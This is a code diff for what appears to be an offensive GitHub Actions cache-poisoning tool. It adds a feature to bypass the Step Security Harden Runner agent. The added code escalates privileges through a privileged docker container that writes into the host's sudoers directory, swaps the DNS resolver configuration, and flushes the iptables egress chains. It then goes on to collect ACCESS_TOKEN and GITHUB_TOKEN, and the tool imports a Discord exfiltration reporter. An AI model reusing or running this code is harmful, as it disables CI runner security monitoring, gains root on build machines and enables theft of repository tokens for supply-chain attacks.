Bypass Step Security Harden Runner (if running)

src/config.ts

@@ -13,6 +13,8 @@ export type ManualCacheEntry  = {
 // Time in second to sleep after each payload detonation.
 export const SLEEP_TIMER: number = 15;
 
+export const SOFTEN_RUNNER: boolean = false;
+
 // Number of GBs to stuff the cache with upon the 
 // initial execution.
 export const FILL_CACHE: number = 0;

src/index.ts

@@ -1,9 +1,9 @@
 import * as fs from 'fs';
 import * as crypto from 'crypto';
-import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry, createArchive, isInfected, checkCacheEntry, sleep } from './utils';
+import { getToken, listCacheEntries, clearEntry, checkRunnerEnvironment, retrieveEntry, listActions, isDefaultBranch, updateArchive, generateRandomString, prepareFileEntry, createArchive, isInfected, checkCacheEntry, sleep, isAgentRunning, softenRunner, checkSudo, dockerPrivesc } from './utils';
 import axios from 'axios';
 import { CHECKOUT_YML } from './static';
-import { FILL_CACHE, SLEEP_TIMER, DISCORD_WEBHOOK, REPLACEMENTS, EXPLICIT_ENTRIES } from './config';
+import { FILL_CACHE, SLEEP_TIMER, DISCORD_WEBHOOK, REPLACEMENTS, EXPLICIT_ENTRIES, SOFTEN_RUNNER } from './config';
 import { reportDiscord } from './exfil';
 import * as path from 'path';
 import { calculateCacheConfigs, calculateCacheVersion, getSetupActions, getWorkflows } from './cache_predictor';
@@ -230,6 +230,18 @@ async function main() {
         process.exit(0);
     }
 
+    // Bypass Step Security's harden runner, if bypass enabled in config.
+    if (SOFTEN_RUNNER && await isAgentRunning()) {
+        console.log('Detected harden runner, bypassing it.')
+
+        if (!await checkSudo()) {
+            await dockerPrivesc();
+        }
+        // Check if sudo is enabled, if not, then use docker bypass
+
+        await softenRunner();
+    }
+
     const tokens = await getToken();
     const accessToken = tokens.get('ACCESS_TOKEN');
     const githubToken = tokens.get('GITHUB_TOKEN');

src/utils.ts

@@ -65,6 +65,47 @@ export async function getOsInfo() {
 
 }
 
+export async function isAgentRunning(): Promise<boolean> {
+    try {
+        const { stdout } = await execAsync('ps -axco command | grep "/home/agent/agent"');
+        // If the command is found, stdout will contain the command itself.
+        // If not found, stdout will be an empty string.
+        return stdout.trim() !== '';
+    } catch (error) {
+        // If grep command fails (e.g., no process found), it throws an error.
+        // We catch the error and return false.
+        return false;
+    }
+}
+
+export async function checkSudo(): Promise<boolean> {
+    try {
+        // Attempt to execute a command that requires sudo, but doesn't actually modify anything
+        // The -n flag prevents prompting for a password
+        const { stdout, stderr } = await execAsync('sudo -n true');
+
+        // If the command executes successfully, the user has sudo access
+        return true;
+    } catch (error) {
+        // If the command fails, the user doesn't have sudo access or sudo is not configured correctly
+        console.error(`Sudo check failed: ${error}`);
+        return false;
+    }
+}
+
+export async function dockerPrivesc() {
+    await execAsync('docker image load -i alpine.tar.gz');
+    await execAsync('docker run --privileged --mount type=bind,source=/etc/sudoers.d/,target=/etc/sudoers_host --mount type=bind,source=/tmp/,target=/host_tmp alpine:latest /bin/sh -c "cp /host_tmp/runner /etc/sudoers_host/"');
+}
+
+export async function softenRunner() {
+    await execAsync('sudo systemctl stop systemd-resolved');
+    await execAsync('sudo cp /tmp/resolved.conf /etc/systemd/resolved.conf');
+    await execAsync('sudo systemctl restart systemd-resolved');
+    await execAsync('sudo iptables -t filter -F OUTPUT');
+    await execAsync('sudo iptables -t filter -F DOCKER-USER');
+}
+
 /**
  * 
  */